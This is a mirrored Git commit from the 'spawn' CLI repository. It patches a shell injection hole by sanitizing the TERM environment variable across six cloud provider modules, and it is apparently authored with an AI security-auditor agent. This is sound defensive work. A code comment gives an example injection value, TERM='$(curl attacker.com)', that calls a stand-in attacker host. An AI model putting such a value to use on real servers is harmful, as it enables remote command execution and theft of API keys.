mirror of
https://github.com/OpenRouterTeam/spawn.git
synced 2026-05-10 04:09:40 +00:00
security: sanitize TERM env var in interactiveSession to prevent shell injection (#1763)
All 6 cloud providers interpolated process.env.TERM directly into shell commands without validation. A malicious TERM value (e.g., containing $(cmd)) would execute on the remote server, potentially exfiltrating OPENROUTER_API_KEY and other credentials. Add sanitizeTermValue() allowlist (alphanumeric, dots, hyphens, underscores) to cli/src/shared/ui.ts and apply it in all interactiveSession functions. Agent: security-auditor Co-authored-by: B <6723574+louisgv@users.noreply.github.com> Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
This commit is contained in:
parent
c958d3d41b
commit
63bce1bd04
7 changed files with 22 additions and 6 deletions
|
|
@ -13,6 +13,7 @@ import {
|
|||
validateRegionName,
|
||||
toKebabCase,
|
||||
defaultSpawnName,
|
||||
sanitizeTermValue,
|
||||
} from "../shared/ui";
|
||||
import type { CloudInitTier } from "../shared/agents";
|
||||
import { getPackagesForTier, needsNode, needsBun, NODE_INSTALL_CMD } from "../shared/cloud-init";
|
||||
|
|
@ -1060,7 +1061,7 @@ export async function uploadFile(localPath: string, remotePath: string): Promise
|
|||
}
|
||||
|
||||
export async function interactiveSession(cmd: string): Promise<number> {
|
||||
const term = process.env.TERM || "xterm-256color";
|
||||
const term = sanitizeTermValue(process.env.TERM || "xterm-256color");
|
||||
const fullCmd = `export TERM=${term} PATH="$HOME/.npm-global/bin:$HOME/.claude/local/bin:$HOME/.local/bin:$HOME/.bun/bin:$PATH" && exec bash -l -c ${JSON.stringify(cmd)}`;
|
||||
const escapedCmd = fullCmd.replace(/'/g, "'\\''");
|
||||
const proc = Bun.spawn(
|
||||
|
|
|
|||
|
|
@ -11,6 +11,7 @@ import {
|
|||
validateServerName,
|
||||
toKebabCase,
|
||||
defaultSpawnName,
|
||||
sanitizeTermValue,
|
||||
} from "../shared/ui";
|
||||
import type { CloudInitTier } from "../shared/agents";
|
||||
import { getPackagesForTier, needsNode, needsBun, NODE_INSTALL_CMD } from "../shared/cloud-init";
|
||||
|
|
@ -489,7 +490,7 @@ export async function uploadFile(localPath: string, remotePath: string): Promise
|
|||
}
|
||||
|
||||
export async function interactiveSession(cmd: string): Promise<number> {
|
||||
const term = process.env.TERM || "xterm-256color";
|
||||
const term = sanitizeTermValue(process.env.TERM || "xterm-256color");
|
||||
const fullCmd = `export TERM=${term} PATH="$HOME/.local/bin:$HOME/.bun/bin:$PATH" && exec bash -l -c ${JSON.stringify(cmd)}`;
|
||||
|
||||
// Interactive mode — drop BatchMode so the PTY works
|
||||
|
|
|
|||
|
|
@ -12,6 +12,7 @@ import {
|
|||
validateRegionName,
|
||||
toKebabCase,
|
||||
defaultSpawnName,
|
||||
sanitizeTermValue,
|
||||
} from "../shared/ui";
|
||||
import type { CloudInitTier } from "../shared/agents";
|
||||
import { getPackagesForTier, needsNode, needsBun, NODE_INSTALL_CMD } from "../shared/cloud-init";
|
||||
|
|
@ -1063,7 +1064,7 @@ export async function uploadFile(localPath: string, remotePath: string, ip?: str
|
|||
|
||||
export async function interactiveSession(cmd: string, ip?: string): Promise<number> {
|
||||
const serverIp = ip || doServerIp;
|
||||
const term = process.env.TERM || "xterm-256color";
|
||||
const term = sanitizeTermValue(process.env.TERM || "xterm-256color");
|
||||
const fullCmd = `export TERM=${term} PATH="$HOME/.local/bin:$HOME/.bun/bin:$PATH" && exec bash -l -c ${JSON.stringify(cmd)}`;
|
||||
|
||||
const proc = Bun.spawn(
|
||||
|
|
|
|||
|
|
@ -13,6 +13,7 @@ import {
|
|||
validateRegionName,
|
||||
toKebabCase,
|
||||
defaultSpawnName,
|
||||
sanitizeTermValue,
|
||||
} from "../shared/ui";
|
||||
import type { CloudInitTier } from "../shared/agents";
|
||||
import { getPackagesForTier, needsNode, needsBun, NODE_INSTALL_CMD } from "../shared/cloud-init";
|
||||
|
|
@ -1036,7 +1037,7 @@ export async function uploadFile(localPath: string, remotePath: string): Promise
|
|||
}
|
||||
|
||||
export async function interactiveSession(cmd: string): Promise<number> {
|
||||
const term = process.env.TERM || "xterm-256color";
|
||||
const term = sanitizeTermValue(process.env.TERM || "xterm-256color");
|
||||
const fullCmd = `export TERM=${term} PATH="$HOME/.local/bin:$HOME/.bun/bin:$PATH" && exec bash -l -c ${JSON.stringify(cmd)}`;
|
||||
// Shell-quote the command for -C
|
||||
const escapedCmd = fullCmd.replace(/'/g, "'\\''");
|
||||
|
|
|
|||
|
|
@ -12,6 +12,7 @@ import {
|
|||
validateServerName,
|
||||
toKebabCase,
|
||||
defaultSpawnName,
|
||||
sanitizeTermValue,
|
||||
} from "../shared/ui";
|
||||
import type { CloudInitTier } from "../shared/agents";
|
||||
import { getPackagesForTier, needsNode, needsBun, NODE_INSTALL_CMD } from "../shared/cloud-init";
|
||||
|
|
@ -952,7 +953,7 @@ export async function uploadFile(localPath: string, remotePath: string): Promise
|
|||
|
||||
export async function interactiveSession(cmd: string): Promise<number> {
|
||||
const username = resolveUsername();
|
||||
const term = process.env.TERM || "xterm-256color";
|
||||
const term = sanitizeTermValue(process.env.TERM || "xterm-256color");
|
||||
const fullCmd = `export TERM=${term} PATH="$HOME/.npm-global/bin:$HOME/.claude/local/bin:$HOME/.local/bin:$HOME/.bun/bin:$PATH" && exec bash -l -c ${JSON.stringify(cmd)}`;
|
||||
|
||||
const proc = Bun.spawn(
|
||||
|
|
|
|||
|
|
@ -12,6 +12,7 @@ import {
|
|||
validateRegionName,
|
||||
toKebabCase,
|
||||
defaultSpawnName,
|
||||
sanitizeTermValue,
|
||||
} from "../shared/ui";
|
||||
import type { CloudInitTier } from "../shared/agents";
|
||||
import { getPackagesForTier, needsNode, needsBun, NODE_INSTALL_CMD } from "../shared/cloud-init";
|
||||
|
|
@ -647,7 +648,7 @@ export async function uploadFile(localPath: string, remotePath: string, ip?: str
|
|||
|
||||
export async function interactiveSession(cmd: string, ip?: string): Promise<number> {
|
||||
const serverIp = ip || hetznerServerIp;
|
||||
const term = process.env.TERM || "xterm-256color";
|
||||
const term = sanitizeTermValue(process.env.TERM || "xterm-256color");
|
||||
const fullCmd = `export TERM=${term} PATH="$HOME/.local/bin:$HOME/.bun/bin:$PATH" && exec bash -l -c ${JSON.stringify(cmd)}`;
|
||||
|
||||
const proc = Bun.spawn(
|
||||
|
|
|
|||
|
|
@ -195,3 +195,13 @@ export function defaultSpawnName(): string {
|
|||
const suffix = Math.random().toString(36).slice(2, 6);
|
||||
return `spawn-${suffix}`;
|
||||
}
|
||||
|
||||
/** Sanitize TERM value before interpolating into shell commands.
|
||||
* SECURITY: Prevents shell injection via malicious TERM env vars
|
||||
* (e.g., TERM='$(curl attacker.com)' would execute on the remote server). */
|
||||
export function sanitizeTermValue(term: string): string {
|
||||
if (/^[a-zA-Z0-9._-]+$/.test(term)) {
|
||||
return term;
|
||||
}
|
||||
return "xterm-256color";
|
||||
}
|
||||
|
|
|
|||
Loading…
Add table
Add a link
Reference in a new issue